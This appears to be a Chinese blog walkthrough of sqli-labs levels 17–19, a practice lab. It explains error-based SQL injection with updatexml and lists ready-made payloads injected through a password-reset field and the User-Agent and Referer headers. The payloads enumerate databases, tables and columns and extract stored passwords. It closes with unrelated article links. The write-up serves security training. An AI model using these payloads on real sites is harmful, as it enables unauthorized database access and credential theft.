less-17

前置基础知识:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值

而我们的注入语句为: select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出 ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

参考链接:

https://www.jb51.net/article/125599.htm

https://www.jb51.net/article/125607.htm

首先,在php网页代码中插入输出sql语句和update语句,这样便于观察:

然后尝试输入发现,这个是一个更改password的功能,前提是username需要正确:

代码中使用了get_magic_quotes_gpc name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以只能在password处注入

我们可以根据上面的updataxml构造注入语句:

查当前库:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit

查库:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata  limit 5,1),0x7e),1)#&submit=Submit

查表:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'  limit 3,1),0x7e),1)#&submit=Submit

查列:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'  limit 4,1),0x7e),1)#&submit=Submit

查信息:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users  limit 0,1)users ),0x7e),1)#&submit=Submit

注意:这里之所以使用两层select,是因为会出现报错:

意思是不能select出同一表中的某些值,这是再用一个select中间一下就可以了

参考:https://blog.csdn.net/z_youarethebest/article/details/53785487

less-18

在这一关中 ,完善了上一关对password的转义和过滤。

登陆成功:显示ip地址和浏览器版本信息

登陆失败:只显示ip地址

注意:在这一关中如果输入用户名和密码登陆不了的话可能是因为在17关重新设置改变了密码,可以在sqli-labs初始界面重置数据库:

18关同样进行输出,最后测试发现可以在http头部user-agent的地方注入。

注意:我在这里使用的都是burpsuite,其实可以用火狐的插件:http header live 虽然用法有区别,但是原理都是一样的。

抓包之后右键发送到Repeater:

然后在数据包的headers部分修改user-agent构造注入语句:

查当前数据库:'or updatexml(1,concat(0x7e,(database())),1) or '1'='1(注意闭合)

或者'or updatexml(1,concat(0x7e,(database())),1) ,",")#   闭合sql语句

之后构造的语句和上一关一样,不再赘述

less-19

这一关和上关也是类似,登陆成功返回的信息变成了referer。

抓包:' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1或者‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#

构造的语句同样是相同的。

最新文章

  1. Python 【第九章】 Django基础
  2. ajax基础1
  3. nginx编译安装
  4. c#用牛顿法计算根号下2的值
  5. android SDK Manager 上载失败
  6. struts局部、全局类型转换器
  7. reset内容
  8. 未能载入文件或程序集“DAL”或它的某一个依赖项。系统找不到指定的文件。
  9. jquery 项目所用
  10. Chapter 13. Miscellaneous PerlTk Methods PerlTk 方法杂项:
  11. 图论+dp poj 1112 Team Them Up!
  12. 误删libc.os.6共享库的解决办法
  13. WIN7下安装SVNserver端及client搭建协作环境
  14. 随记PC-win7 64位系统网络连接状态一直转圈、等待状态的异常解决方案
  15. 【Quartz】持久化到数据库【五】
  16. 大二学生党的Security+备考宝典(一次过)
  17. [Shiro] tutorial 1 :SecurityManager and Subject
  18. Python 爬虫的工具列表大全
  19. javaScrip字符串(String)相关
  20. 10 华电内部文档搜索系统 search04

热门文章

  1. 从 Java 代码到 Java 堆
  2. html javascript checkbox实现全选功能
  3. Spring cloud中相关的工具和库
  4. ARTS第十三周(阅读Tomcat源码)
  5. 重新梳理调度器——GMP 调度模型
  6. Java程序设计(2021春)——第三章类的重用笔记与思考
  7. C语言:scanf()
  8. PYTHON 错误提示:ModuleNotFoundError: No module named 'cv2'
  9. 转载:使用jquery刷新当前页面以及其他js知识积累
  10. SpringBoot中时间格式化的5种方法!